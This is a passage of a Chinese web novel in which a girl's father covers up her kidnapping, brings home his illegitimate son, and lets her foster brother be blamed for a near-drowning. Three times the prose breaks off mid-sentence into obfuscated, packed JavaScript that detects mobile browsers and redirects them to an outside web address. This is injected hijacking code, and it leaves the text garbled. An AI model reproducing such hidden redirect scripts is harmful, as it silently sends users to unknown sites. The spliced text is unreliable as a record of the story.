下一秒,季宁三步并作两步冲上前来。还未等易伍反应,他已经抬起了手——猝不及防地,捂住了她的眼。 “大晚上不睡觉,吵吵闹闹干什么?!”这次是谷佳慧的声音,由远及近地传来。 22. 一张鉴定书 “为什么、放过、他们?” 季宁在花坛前半蹲,路灯将他的影子拉得细长、斜斜铺在青砖地上。他长长的睫毛上下扑扇着,犹疑了几次,最后还是问了出来。 刚刚,在警察面前,易伍大声控诉,眼泪就要夺眶而出——可季宁从身后抱住了她。 他没办法不磕巴地说话,便只能用肢体语言表达:我在,做你想做的事。 但易伍最终选择放过。 “嗯......这种事情,不好。”易伍盯着季宁的眼睛,低声回答,“我是女孩子。我不想闹大。” “别、怕。”季宁顿了顿,声音有些发紧,却带着从未有过的笃定,“我会、让他们、闭嘴。” 若是以前,易伍肯定以为季宁在吹牛。可现在…… 他手上未干的血迹正在提醒她,刚刚到底发生了什么。 疑问在易伍心头生根发芽,疯长成一丛乱藤。 季宁的信仰,允许他这么做么? 妈妈告诉她,人若有了信仰,就要避免杀生,不见血腥。要守清净、存慈悲。 季宁就是那样的人。 来到易家后,他仍然吃素。哪怕面对院里的一只蚂蚁,他都会小心绕过。 每天放学后,他对着佛像合十诵经,晨钟暮鼓,日复一日,从不懈怠。 可同样是他,今天把人打得满脸血污...... 太矛盾了。 一边想着,手指下意识地搅在了一起—— 她确实说了谎。 长大后的易伍回首过去,她的人生好像从来没有妥协投降,只有鱼死网破。 易国昌用来威胁的话只让她觉得好笑。 嫁不出去?就因为被人脱了裤子? 如果这世界真要拿婚姻当幌子,名节当枷锁,那她宁愿这一生都像浪里浮萍,做个自由人,不嫁、不依、不俯首。 她会拿着大喇叭,把真相吼出来,吼到所有人都听见;把那群畜生一个个扯出来,吼到他们再无藏身之处;吼到孟旭他爸那张满是笑意的老脸再也罩不住那烂泥一样的儿子。 小小的她已经准备开口,将事情的始末讲给警察听——在背后撑住她的季宁,让她的勇气翻倍。 可就在这时,她灵敏的耳朵却捕捉到了远处几个人的窃窃私语。 “这案子牵扯到孟总儿子,不好办啊。这么小,就雇人绑架同学,还差点把人小女娃给......哎。” “嘘,别说了......咱小兵一个,说话可得注意啊,最好谁都别得罪,回去报上去,让头儿做主。” “哎,孟总岳父是咱大领导......头儿这次碰上个烫手山芋,大水冲了龙王庙.......孟总儿子这年纪吧,去不了少管所,顶多强制训诫了。” “除非......私下和解。毕竟没造成实质伤害嘛,这性质,就可大可小。你说现在小孩怎么都这么极端啊?一个吧,胆大包天敢绑架同学。另一个吧,小萝卜头,居然把一群混混打得满地找牙......” “啧啧,就刚那男孩,小姑娘的哥哥吧?才十岁?这么狠,废了好几个人,估计也要送劳教了吧?” “不知道啊,反正书肯定没法读了,谁敢和这样的做同学啊?家长知道了肯定要闹的。大概率啊,是要转特殊学校了。” 听到这儿,易伍本来熊熊燃烧的复仇火苗,灭了。 把这些人抓起来,代价是季宁也跟着一起。 特殊学校?什么特殊学校?把一个又聋又哑的男孩扔进去,让他自生自灭的地方吗? 她打了个寒战。 如果说,易伍也有信仰,那她信仰的,便是冷硬的报复哲学:以牙还牙、以眼还眼.......以及,以恩报恩。 谷佳慧从小便教育她,不能白占别人的好,滴水之恩涌泉相报,一分一毫都得加倍还回去。 她绝不能眼睁睁看着季宁被送进那种鬼地方! 人生中第一次,易伍学会了“妥协”。 她没有再说真相,也没有哭,只是沉默。 易国昌和孟旭爸趁机对她循循善诱。对于他们提出的每一个诱导性问题,她都木讷地点头。 他们是狡猾聪明的舵手,很快就把船驶向它该去的地方——平息风波、互利共赢。 只有季宁,瞪大了眼,望着她,一脸的不可置信。 但这种困惑,只在他眼中一闪而过。 下一秒,他就重新低下了头,默默接受了一切。 他选择站在她身后,便意味着,她要吼破天,他会跟她一起吼;她要咬牙沉默,他也会闭紧嘴巴。 因为那是她的选择,而他,无条件相信她的选择。 在孟旭他爸的积极运作下,这场“绑架案”最终轻拿轻放、草草了结。 事情最后定性,一群未成年课后相约在废弃工厂玩游戏,其间因为争执引发斗殴。受害方大度,既往不咎。 总之,不是民事案件,更够不上刑事案件的边。 在场的人都很满意。 孟旭爸和易国昌当场交换了名片。一个赔罪、一个推让,推来让去之间,关系突飞猛进。 “孟哥,咱换个场子继续聊?咱哥俩今儿真一见如故,还好有小孩子这事儿,这才叫不打不相识啊。”易国昌声线谄媚。 “惭愧啊老弟,我教子无方,让令爱受惊了。”孟旭爸用手绢拭汗。 “诶,话不能这么说。”易国昌拍着大腿,笑得像捡了金子,“我家虽说是个女娃,但混着呢。还有她哥护着,半点亏没吃着。一定是她在学校里得罪了令公子,他才开了这么个玩笑。” 说完,易国昌转身吩咐季宁,“你带着妹妹先回家。爸爸还有事。今天发生的一切,记住了,别对任何人说一个字,明白了吗?” 季宁梗着脖子,平视前方,没有回答。 直到,他听见身侧的易伍一声轻轻的“疼”,这才微微一颤,咬着下唇点了点头。 风从街巷那头吹来,带着盛夏将尽的气息。满地碎玻璃、糖纸、破布、还有未出口的真相,纷纷扬扬,落了一地。 * 季宁背着易伍回到家。 空荡荡的房间里,只剩保姆阿姨一人。 “阿姨,我妈呢?”易伍声音虚弱。 “哦哟我的小祖宗啊!你把太太吓坏了!她听说你被人绑架,直接晕了,就......就送医院了。你别急,我现在给司机打电话,接她回来啊。” 季宁迈进易伍卧室,走到床边才将她小心翼翼地放下。 给她脱了鞋盖好被,开了床头那盏暖黄的小夜灯,又拿了她平常抱着睡的阿贝贝。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996671|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 做完这一切,他目不转睛地盯着她,好像才从失而复得的动荡心情中回过神来。 易伍额前的刘海垂下,挡住了一半的眼睛。突然,他心里升起了一种强烈的冲动,想伸手,将它轻轻拂开。 但最终,他收回了手。 沉默了片刻,躺下的易伍勾了他小指:“哥,能留下来陪我吗?陪我等妈妈回来,可以吗?” 季宁点了点头。 他们依偎在床头,肩膀贴着肩膀,头发轻轻蹭着头发,像惊涛骇浪后两只受伤的海鸥。 世界在他们之外,嘈杂又遥远,而屋内只剩下这一盏灯,以及......彼此的心跳声。 这一天,发生了太多事,可稀奇的是,到最后,竟又好像什么也没发生。 易伍觉得眼皮打架,她睁着迷迷瞪瞪的眼,轻声说:“你说你不喜欢打架。骗人。” 季宁握住她的手:“你、说、什么?” 可易伍没有回答。 呼吸平稳,心跳同步。敌不过困倦,他们沉沉睡去,直到—— 一声尖锐的女高音,划破了寂静的夜空。 季宁从浅眠中迅速惊醒。下一秒,他条件反射地捂住了易伍的耳朵。 很久未爆发的剧烈争吵再一次上演。 “你他妈也算个人?居然和绑了你女儿的人渣一起吃饭喝酒?!” “吵什么?!吵到左邻右舍全部听到就好了?你以为是什么光彩的事吗?”易国昌带着酒气,语气很是烦躁。 “他们猪狗不如,侵犯幼女未遂!!你居然选择和解?!还和人渣勾肩搭背称兄道弟?我现在就去砍了他们!” 谷佳慧猛地冲进厨房,抽出了一把砍刀。 “疯了你?!”易国昌大骂,冲上去将她死死拖住,“孟家那孩子全招了,说他只想找人把佑弟打一顿,后来那群流氓扒她裤子,他压根不知道!” 他强行压低声音,“再说了,佑弟不是啥事都没有吗?你再这么喊,喊到最后人人都以为她有事,你还想不想她上学,想不想她将来正常嫁人?” “呵呵,你搁这儿装什么慈父?你有真的考虑过她?还不是为了巴结姓孟的!看别人平时懒得搭理你,这次好不容易抓紧机会往上蹭。卖女求荣,你是独一份啊易国昌!” “她是我女儿,从头到脚都属于我,我还用卖?” 易国昌鼻子里哼了一声,“你想要正义?那今天拿到的,只能是最差的结果!孟旭这么小,少管所都不用去,还有家里撑腰,他能有什么事?反而是我们,孟家得罪了,佑弟清白毁了,季宁还有可能被抓去劳教......伤敌为零,自损一万!你支付得起吗,正义的价格?” 谷佳慧愣住了。 易国昌懒散地靠在沙发上:“现在,孟家全面封锁消息,没人知道发生了什么。佑弟也就受了点惊吓,她和季宁都可以继续上学。我卖孟家这个人情,以后他们少不了给我资源。还有那些混混,都会被处理干净。至于孟旭......借他八百个胆,你看他以后还敢靠近佑弟不?” 谷佳慧没说话。 下一秒—— “砰!”她扬手砸碎了沙发边那个上万的花瓶。 “这就是最好的结果。”易国昌扫了眼花瓶碎片,然后缓缓抽掉了她手上的刀,“你不傻,你清楚得很。” 23. 一只害虫 如果要评选人生中最灰暗的时刻,那么易国昌掏出亲子鉴定的那刻,一定能在谷佳慧的人生里拔得头筹。 她疯了般冲过去,举着那张薄纸,手抖得如同筛糠,嘴里喃喃自语:“不可能,这不可能!” 等眼睛好不容易对焦,能看清纸上的字了,所有的不可能在这一刻成为可能—— 亲子关系成立。 而男孩的出生年份,竟然比易伍只小两岁——那时,她压根没开始给易国昌下药。 谷佳慧眼前一黑,僵立原地,可她仍不死心:“你肯定是被骗了!这孩子哪里来的?和孙悟空一样石头里蹦出来的?怎么可能过了这么多年一点动静都没有,到现在才出现?!” 易国昌的脸上,竟浮现出一种近乎羞赧的神情:“因为......因为孩子的妈,是做,那......种生意的。当时我还刚创业,喝酒应酬多。她......怀了孕,因为太爱我,不想破坏我家庭,又怕我让她打胎,就自己躲起来偷偷——” 这番说辞像一勺过期狗血,泼得谷佳慧满身都是。嘴里一阵发苦,大概是胆汁翻到了舌根。 她冷笑着一把揪住他衣领:“你在这儿给我演八点档琼瑶剧呢,这种鬼话也能信?我看是她一天接的客太多,怀了也不知道谁的。漂亮话真会说,当初不想破坏我家庭,现在突然又想了?你被骗了,蠢货!” “因为这个。”易国昌从兜里掏出一张叠得皱皱巴巴的报纸,“新兴企业家论坛有篇我的专访,登了我照片。我儿子看到后,指着照片喊爸爸,他妈就......崩溃了,这才找上门的。” 说完,他又从另一个口袋,小心翼翼拿出男孩照片,双眼放光,“你看!是不是和我小时候一模一样?” 眉清目秀的小男孩,和年轻的易国昌几乎一比一完美复刻。 “天底下长得像的多了去了。她拉你去做的鉴定?这鉴定书肯定是她伪造的!看着你变大款了,上赶着讹你!” “你说的这些我也想过。所以我找的,是完全独立的第三方,我亲自送检。”说完,易国昌再度掩面而泣,“这就是我儿子啊,见第一面我就知道,那机灵劲儿真的......这世上,我最对不起的人就是他,让他在外飘了这么多年,吃了那么多苦。” 听完这句,谷佳慧的世界突然天旋地转,身体开始不可控地剧烈颤抖。 在她经历了四次流产、九个月躺床保胎、难产、大出血后,她的丈夫选择在外嫖.娼,还和做皮肉生意的有了个男孩。 而现在,他口口声声说,自己最对不起的人,竟然是这个私生子。 她再也支撑不住,瘫坐在地上。 易国昌见谷佳慧脸色惨白,立马出言稳住她:“佳慧,这孩子的妈只能是你。他亲妈这身份,我无论如何也不可能接她进门,这个你放一万个心。你呢,就当白捡个儿子孝敬你,这不好吗?” “可你已经有个儿子了,忘了吗?”谷佳慧喃喃。 “谁?” “季宁。” “他算我哪门子儿子?你猜我为什么一直没给他改姓?就是为了不占易家的男丁!”易国昌轻嗤一声,“现在终于有了,他也算完成使命,该回去属于他的地方了。这一年,我没亏待他。吃穿用度都是最好的,还给他治了耳朵。没有我,他就是山沟沟里一个又聋又哑没人要的小和尚!” 谷佳慧双眼失神,嘴角却扯出一抹冷笑:“是啊。真品来了,赝品当然得退场。退回庙里去,和扔掉一个小猫小狗,有什么区别?” 易国昌将瘫软在地的谷佳慧扶起:“你心善,我知道。送他回去前,我会给寺庙捐一笔钱,再给他找个好人家,也算仁至义尽了。再说了......季宁你都养了,他和我可没半点血缘关系。现在这个,是我亲骨肉,你——肯定更不介意了,对吧?” “哈哈哈哈哈。”谷佳慧迸发出一阵长笑,拍着大腿几乎喘不过气,“对,我怎么会介意呢?我是最讲信用的,答应过的事,我怎么能不说到做到?” * 谷佳慧将自己关在房里,不吃不喝整整三天。 易伍和季宁在门外干着急,来回踱步,时不时拍门叫妈妈,都没有回应。 直到他俩偷听到花园里司机和保姆聊天。 “他们那天吵得凶得咧,我都听到了。造孽啊......说是在外面有个五岁的儿子。” “那不就是私生子嘛......是打算接进门?” “肯定啊。不然太太能气成这样?几天没吃饭了。” “哎,有钱人的事,咱咋懂。” 季宁忧心忡忡地转头看易伍,可她眼里只有雾濛濛的影子。 * 易国昌把易伍叫进书房。 他破天荒地蹲下身,用几近讨好的语气说道:“佑弟,从前爸爸忽视了你,对你关心不够。但是现在,爸爸很需要你帮忙。妈妈最在乎你,你去劝劝她,让她从房间里出来,好吗?” 接着,易国昌如奥斯卡最佳男主般,涕泗横流地讲起了美化后的故事。 他强调自己如何披星戴月为家庭付出,给她和谷佳慧提供了优越的物质条件。可就算有了钱,回到老家照样被人指指点点说没儿子绝了后。他痛苦,他迷茫,他无所适从。 “给你取名叫佑弟,就是为了今天。妈妈身体不好,所以爸爸和阿姨有了一个弟弟。以后弟弟来家里,你肯定会好好对他的,对吧?” 易伍沉默了几秒,忽然往后退了一大步:“弟弟?你说的,是那个私生子?” 易国昌尴尬地咳嗽了声:“什么私生子!谁教你这些乱七八糟的!” “你说的阿姨,不会就是我之前的钢琴老师吧?” “不是。”易国昌更尴尬了。 “所以,还有另一个?还是说,有很多很多个?”易伍锲而不舍地追问。 这句刺得易国昌脸色彻底挂不住了:“大人的事,小孩少打听!你现在的任务,就是去把妈妈哄好,让她出来吃饭......再劝她接受弟弟,就行了!” “我已经有哥哥了,不想再要什么弟弟。”易伍皱起眉。 “哥哥?季宁算你哪门子哥哥?”易国昌听她这么说,气不打一处来,一把推了她的脑袋,“他是领养的,和你没有血缘关系。马上要来家里的,那才是你亲弟,远近亲疏都搞不明白吗?臭不懂事!” “我不管!”易伍被推得踉跄后退,却倔强地回吼,“我只认他,我这辈子只认他一个!”说完,她猛地拉开书房门,夺门而出。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996672|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 季宁在家里各个角落搜罗了一大圈,没看到易伍的半点儿影——最后才发现她在花园里蹲着。 她正低头,一脚一脚地踩着黄瓜虫,鞋底嘎嘣直响,好像要把满腔怒火全部发泄出来。 季宁跟在她身后,不动声色地把黄瓜虫的尸体捡起来,然后挖了个坑,一只一只地埋了进去。 “你干嘛!妈妈说了,这些都是害虫!”看到季宁连虫子都埋,易伍更是气不打一处来,“这个世界上压根就不该有害虫!” 突然,她的神经莫名被牵动,下一秒再也忍不住,抽搭起鼻子放声大哭,“更不应该有什么......私生子!” 妈妈的痛,成了她的痛。爸爸的背叛,成了她的耻辱。 而且,这个男孩的存在反复提醒她,再努力也是无用。 一个男孩的性别,会胜过无数考试第一的奖状。而性别,又是她无论怎么努力也无法改变的。 季宁拍了拍手上的土,又一次轻轻环住她的肩,任由她把鼻涕眼泪悉数抹在自己肩膀。 他说了有史以来最长的一段话:“害虫,还是益虫,是人定的。虫自己,并不知道,自己有益,还是有害。它们只是,想活下去。” 他顿了顿:“如果,可以选,没有虫,会想当,害虫。就像......没有人,会自愿,当,私生子。这不是,他的,选择。” 易伍抱着季宁,窝在他肩头嚎啕。 很久后,她逐渐恢复了平静,因为季宁的骨头太硬,硌得她额头生疼。 “我知道你说的是对的。可我就是很不开心。妈妈不开心,我永远也不会开心了。” “妈妈,有她的,因果。”季宁捧住她通红的脸蛋,“你有你的。你没法,替她选。这是大人,的事。” “什么因果?你说的,我根本听不明白。” “也许,不需要,太明白。”季宁用干净的手背将她的眼泪一一擦去,吐字和夏夜晚风一样温柔,“反正,我会一直,陪着你。” * 尚在手术昏迷中的易伍,任凭记忆带着她一路回溯,到这里才猛然发现—— 季宁或许就是从这刻起,下定了决心,介入她的因果。 即使他反反复复强调,因果不可改......到最后,自己也还是做了蠢事。 一次次为她破戒。 他总是这么傻。 * 这天晚饭的时候,谷佳慧终于迈出了房门。 易伍呆呆地望着她,小心翼翼上前试探:“妈妈——” 可谷佳慧看上去精神抖擞,甚至可以说神采奕奕。 开饭前,她郑重其事地说:“我来宣布一件事——佑弟,你其实......有个弟弟,一直在外面。我想借着你的生日会,正式欢迎他进门。大家,都没意见吧?” 易国昌流下感激的泪水:“没,没有意见,都听你的。佑弟的生日会,我们好好办,办得热热闹闹风风光光的,钱不是问题!” 风风光光——是的,要让所有人看到,易家的儿子回来了。光明正大,不是什么见不得人的私生子。 谷佳慧轻轻转头,笑靥如花地望向丈夫:“好的,既然你这么说了......那地点,我来定?” 24. 一个宝宝 “我永远,偏心易佑弟。” 生日会在燕城超五星级酒店举行,宴请的亲戚朋友客户领导不计其数。 当然,谷佳慧这边的亲戚不包括在内——易伍的外公外婆大概会直接把场子砸了。 易伍独坐在换衣间。 门外是另一重世界,人声鼎沸,热闹喧哗。 高跟鞋踩在实木地板上咚咚作响,香槟杯叮当碰撞、清脆有声,大人们互相寒暄恭维,说着单调漂亮的套话。 她只觉得吵闹。 这不是她的舞台——她只是被摆在这出戏里的一个道具,一个随时可以移动替换的布景板。 但哪怕主角另有他人,她也必须保持礼貌端庄,尽职尽责地扮演好她的角色——弟弟的姐姐。 她很早便知道,“姐姐”两个字,金边红底,背后却全是“牺牲”、“成全”、“理解”、“退让”。 在大人眼里,早慧是种值得夸耀的天赋。 可在孩子的世界里,这不过是一种诅咒。 成熟的灵魂困在幼小的身体里,对世界的每一分感知力,都是疼痛成倍放大的根源。 * 一大早司仪组织节目彩排,易伍在后台第一次见到易冬至。 漂亮活泼、调皮好动的小男孩,是她性格的完全反面。 他穿着拉夫劳伦的三件套小西服,红色的领结别致地扎在领口。 易国昌的嘴没合上过,笑到嘴角起皱。眼神像蛛丝,黏在易冬至身上半秒不离。 谷佳慧也满脸疼爱地看着他,还时不时蹲下身伏在他耳边低语。 那一幕,灯光晕染、气氛温热、母慈子孝,简直是她童年幻想过无数次家的模样。 原来爱是有说明书的。只要性别对,再长一张讨喜的脸,就能自动触发开关。 不用乖巧懂事,努力讨好,也不用次次第一名——只要是个男孩,站在那儿就够了。 爱会像潮水,源源不断地涌来,和呼吸一样轻松自然。 * 易冬至不听司仪的指令,到处乱跑,最后推倒了精心装饰的糖果台,自己也摔了个屁股蹲儿。 易国昌立即飞奔过去将他抱起,满脸心疼地说:“哎哟我的乖宝宝,小心点儿啊!没摔疼吧?是这个台子坏,我们打它!” 谷佳慧从地上捡起一颗滚落的话梅糖,剥开那层闪闪发光的糖纸:“宝宝,来,吃颗糖就不疼了啊。” 宝宝。 印象里,爸爸妈妈从来没有这样喊过她。爸爸总是喂来喂去,妈妈只叫佑弟。 也许,有的人生来就是“宝宝”;而有的人,只配当“宝宝”的姐姐。 易伍下意识掖了掖已经拉丝了的袖口。 * 彩排终于结束,谷佳慧忙着四处张罗招呼客人,把礼服丢下就走。 易伍一个人坐在换衣间的镜子前发呆。 眼前的女孩戴着得体漂亮的假发,穿着华贵亮丽的公主裙,王冠上的玛瑙耀眼夺目。 好像和真公主没有区别。 只有她自己知道——头发、裙子,玛瑙,全是假的。《玛蒂尔达》教会过她,童年与童话无关。 有人敲门进来。 她抬起头,看见孟旭站在门口。 易国昌的生意,在孟旭爸的加持下持续起飞。今天他们一家都是生日会的座上宾—— 这也意味着她要微笑着,和绑架过她的人在一个桌子上吃饭。 经历过上次的事,孟旭倒是收敛不少,平日里小霸王的倨傲气势,明显弱了。 他把生日礼物放下,吞吞吐吐地说:“我爸......让我亲手给你。” “谢谢。”易伍声音冷淡,“还有事吗?” 孟旭摇了摇头,轻手轻脚退到门口。 把门合上前,他突然转身,脸胀得通红:“你......你今天这样,还挺,挺好看的。”说完头也不回,飞一般地跑走了。 门才刚关上,又被猛地拉开。 “你到底要干嘛?”易伍不耐烦地皱眉。 可来的人是季宁。 他额头上有细密的汗珠:“没事吧?我刚看到,孟旭,跑出去。” 洁白朴素的校服衬衣下,身板挺得笔笔直直。 “没事。他来送礼物。”易伍的烦躁,在看到哥哥的瞬间转为平和,可心里忍不住纳闷,为什么爸妈会安排哥哥穿校服? 彩排时易伍就觉得奇怪。 所有表演环节,祝酒唱歌跳舞朗诵致辞,一个都没有季宁。 易国昌像是压根忘了有他这个人。 这个发现让她心里发毛。 “很,好看。”季宁微笑着指着她的裙子,一边说一边比着手语。 “可我不喜欢。”易伍垂着头,耸了耸肩,“裙子前年和去年都穿过了,当时长长的拖着地,现在肚子这儿好紧,勒得我快......呼不上气了。” 说完她转头望向季宁的眼睛:“哥,我最讨厌过生日了。” “每年生日,妈妈都会把我的奖状拿给爸爸看,再找他要钱。最后,他们会为了钱大吵一架。每年都这样。”易伍摇了摇头,“其实,生日不重要。我,一点儿,也不重要。” 生日从不是生日,而是员工向老板的汇报会。 “就像今天。看起来是易佑弟的生日。”她的眼睛望向窗外觥筹交错的光影,“但没人真的关心易佑弟是谁。她喜欢什么,想要什么......你说,会不会,我才是那个害虫?” 季宁立即打断了她:“不!当然不。” “那我是谁?.......我,到底是什么?” 季宁没说话,只单膝跪地,把她开了丝的袖口一点点往里卷。 然后,他笑盈盈的脸颊浮起一个窝:“你是,宝宝。” 易伍愣住。 袖口卷好,他抬起头:“对我来说,易佑弟,最重要。我关心易佑弟。想知道她,喜欢什么,想要什么。” 他的睫毛上下扑扇,“我永远,偏心易佑弟。” 季宁说话时的神情和天使无甚差别,易伍应该感动的。 可她的第一反应竟然是恐惧! 成长过程中从未经历过如此直白的爱意表达,她只觉得手足无措。 长大后才知道,这是强烈的不配得感作祟。 易伍红着脸拼命摆手:“哥,你......你别说了。” 但季宁不放过她。 他摆正她的肩膀,一字一顿,无比认真地问:“所以,易佑弟。你现在,想要什么?” “我......”易伍被问倒,绞着手指,认真想了好一会儿,“我不想呆在这儿。不想上台表演,不想敬酒,不想做谁的姐姐。彩排的时候,我看到花园那有个特别大的游泳池。” 她眨巴着眼:“我想去玩水!” “好啊,那去!我们现在,就走。”季宁已经拉上了她的手。 “不行不行,我没带换的裙子。身上的这个不能下水,妈妈肯定会杀了我。”易伍疯狂摇头。 “我带了。”季宁非常坚持,“你先去,在游泳池,等我。我拿衣服,然后去找你,好吗?” “你怎么可能带了我的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996673|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”易伍还想问,下一秒已经被季宁推出了换衣间。 季宁神秘兮兮地用手语说“一会儿见”,转身便跑走了。 * 酒店大得如同迷宫。易伍踮着脚尖,提溜起裙摆,穿过蜿蜒的走廊,再绕过层层玻璃门,终于来到后花园。 害怕被大人抓住,她的心砰砰直跳快要到嗓子眼儿。 可压根没人留意她。 因为会场一片嘈杂,客人和服务生全部集中在前厅,也因为......她从来就不是故事的主角。 长期被压抑的童心,在这刻如同烟花爆裂。 她想,也许可以不弄湿裙子。只要小心一点,把脚放进水池里泡泡就好,没有人会注意的。 皮鞋踏在青嫩的草地,她一路奔向花园南面的游泳池,心情雀跃得如同重获自由的鹰—— 直到她远远看到,一个小脑袋在泳池中央浮浮沉沉,小手上下划拉着。 起初她以为哪个小朋友和她一样,偷偷跑到这里来玩水。可很快,她认出了那个鲜艳的红色领结。 “易冬至,你在这里做什么?”易伍冲他喊。 可男孩好像没有听见,继续上下浮沉着,手拍打的幅度越来越小。 “你会游泳吗?”易伍提高了音量,“怎么不理我?” 易伍没见过真人溺水。 电视剧里每每演到这里,水里的人总是叫得惊天动地。 可现实并不是。 很多时候,小孩子看上去就像是在水里玩,溺水是悄无声息发生的。 易伍以为易冬至在闹脾气。可慢慢地,她发现了不对——因为他浮在水面的时间越来越短。 “你没事吧?到底会不会游泳?”易伍手心冒汗,转身去拿岸边的游泳圈。 她用尽全力将游泳圈扔向易冬至:“别玩了,上来吧。一会儿爸妈该找你了。” 她扔得很准,游泳圈离易冬至不过半个手臂的距离。 可男孩刚刚做了抬手的动作,下一秒身体就沉了下去—— 然后再也没有浮起来过。 易伍浑身警铃大作。 第一反应是叫大人来帮忙。 她一边跑一边扯着嗓子大喊:“救命!救命!有人淹水了!”可花园距离前厅太远,根本没人听见。 还没跑几步,她就意识到不行。等穿过层层叠叠的走廊找到大人,易冬至可能早就...... 她立即掉头回去。 岸边只剩一个长颈鹿的穿戴式泳圈,她用最快速度套好,一秒没犹豫,直接往水里扎去。 易冬至,她的新弟弟。 她本该恨他。 恨他毫不费力,一出现就占据了易国昌所有的注意力,甚至连谷佳慧的最后一点关爱都抢走。 和他一比,她像个十足的可怜虫。 可当她奋力朝易冬至游去时,脑袋里只能想到季宁的话:“如果可以选,没有虫会想当害虫。就像,没有人会想成为私生子。” 不是他的选择。 易伍很快将易冬至捞起,勾着他的脖子,用尽全力拖他到岸边。 然后,她手一撑,准备起身去叫大人—— 可万万没想到! 手下打滑,下一秒,她又重新掉入水里! 易伍的心凉了半截——因为长颈鹿翻了。 头朝下脚朝上倒栽葱,她被困在了游泳圈里,动弹不得。 奋力挣扎,双腿四处乱蹬。 恍惚间,她看到池底散落着一颗颗话梅糖。 糖纸正在熠熠闪光。 25. 一个真相 季宁时常提及因果。 易伍在水里疯狂挣扎时想,自己的因果究竟是什么呢。 佑弟,佑弟——她的存在,从一开始就是“为弟弟而活”吗? 也许只能这样了。这狗屁人生,和写的字一样潦草。 她挣扎着想闭气,但很快,水全部涌进鼻腔,在痛苦中,她逐渐失去意识。 彻底闭上眼睛前,迷迷糊糊的,她听到岸边有人狂奔而来。 * 再次睁眼时,天花板上的灯亮得晃眼。 见到的第一个人,是孟旭。 “易佑弟你醒啦!”孟旭的声音很是惊喜,“我帮你按铃!”他按下床头的呼叫键,“一会儿护士阿姨就过来了,你别怕。” “怎么是你?”易伍有气无力地问。 “那些大人吵了一路,我看你一个人,就留下来了呗。”孟旭挠了挠后脑勺。 “他们在吵什么?” “也没什么吧......好像在说,准备把你哥送走。”孟旭耸了耸肩,说得轻描淡写。 “什么?!”易伍猛地起身,扯着输液管地动山摇。 “你,你别乱动啊!把针扯着了。”孟旭赶忙把输液架扶住,“他走就走了呗,我......我也可以当你哥嘛。在学校,有我罩着,你什么都不用怕!” 说着,他害羞地低下了头,“其实......我老早就想跟你道歉了。上次是我不对,你最后还帮我,我真的——” “停!”易伍喘着粗气打断了他,“我哥到底怎么了?” 在她的强烈要求下,孟旭把事情经过,完完整整地讲了一遍。 首先,是酒店里新来的服务生走错了道,端着盘子去了后厅,结果朦朦胧胧听到有声音在喊救命。 这位服务生循着声音去花园一瞧,当场傻眼。 泳池边上,一个小男孩一动不动躺在池子边。另一个稍大点的男孩浑身湿透,怀里死死抱着个同样一动不动的女孩。 服务生一秒没耽搁立即背起易冬至,季宁则背起易伍。 两人狂奔到前厅时,正在推杯换盏的客人们尖叫声一片,香槟洒了一地。 救护车呼啸而至,谷佳慧当场晕倒,易国昌也差点撅了过去。 孟旭爸只能站出来主持大局,一路陪着到了医院,孟旭也就跟着一起过来了。 所幸抢救及时,两个孩子都没什么大碍。 “那关我哥什么事?!他救了我,为什么还把他送走?”易伍的情绪更激动了。 “因为泳池的水是他放的呗。我爸说,本来那个池子很浅,是季宁贪玩到处跑,去了机房乱按,把水放出来了,所以你和你弟才淹了。” “放屁!”易伍咬牙切齿地怒吼,把孟旭吓了一跳,“我哥从来不乱跑,他们冤枉他!” “你别激动啊!季宁自己承认的,我都听见了,你爸当时就打了他一巴掌。” 还没等孟旭说完,易伍已经撕开了手背上的胶布—— 孟旭目瞪口呆地看着她把针硬生生拔了出来。 “他们现在在哪?”易伍站起身,摇摇晃晃地往外跑,“带我去!” * 易冬至所在的病房人满为患。 易国昌在床边握住他小小的手,眼圈红了一大片。谷佳慧脸色铁青地站在一旁,季宁垂着头离得很远。 房间最显眼的位置,跪着一个女人。她穿着昂贵的针织裙,妆花了一半,如梨花带雨,大眼睛颤巍巍地瞪着谷佳慧。 “姐姐,千错万错都是我的错,有什么你冲着我来!拿孩子开刀算什么本事?我听国昌的话,把孩子交给了你。才见第一面,你怎么就想要了他的命啊!”说完,她扑倒进易国昌怀里,“国昌,我......我们还是,报警吧!” “温霏!”易国昌脸色一僵,“你太激动了。这件事不是都说了吗?季宁贪玩放了水,是个意外。咱们都是一家人,报什么警啊?难道你想越闹越大,让我到报纸上丢人去?” 温霏头发散乱,越哭越凶:“你怎么能信小孩的话?他才那么大点,怎么可能跑去机房弄水?这事必须查清楚,警察要来,得给我们母子一个公道!无论如何,冬冬不能养在她身边,我不会再答应了!” 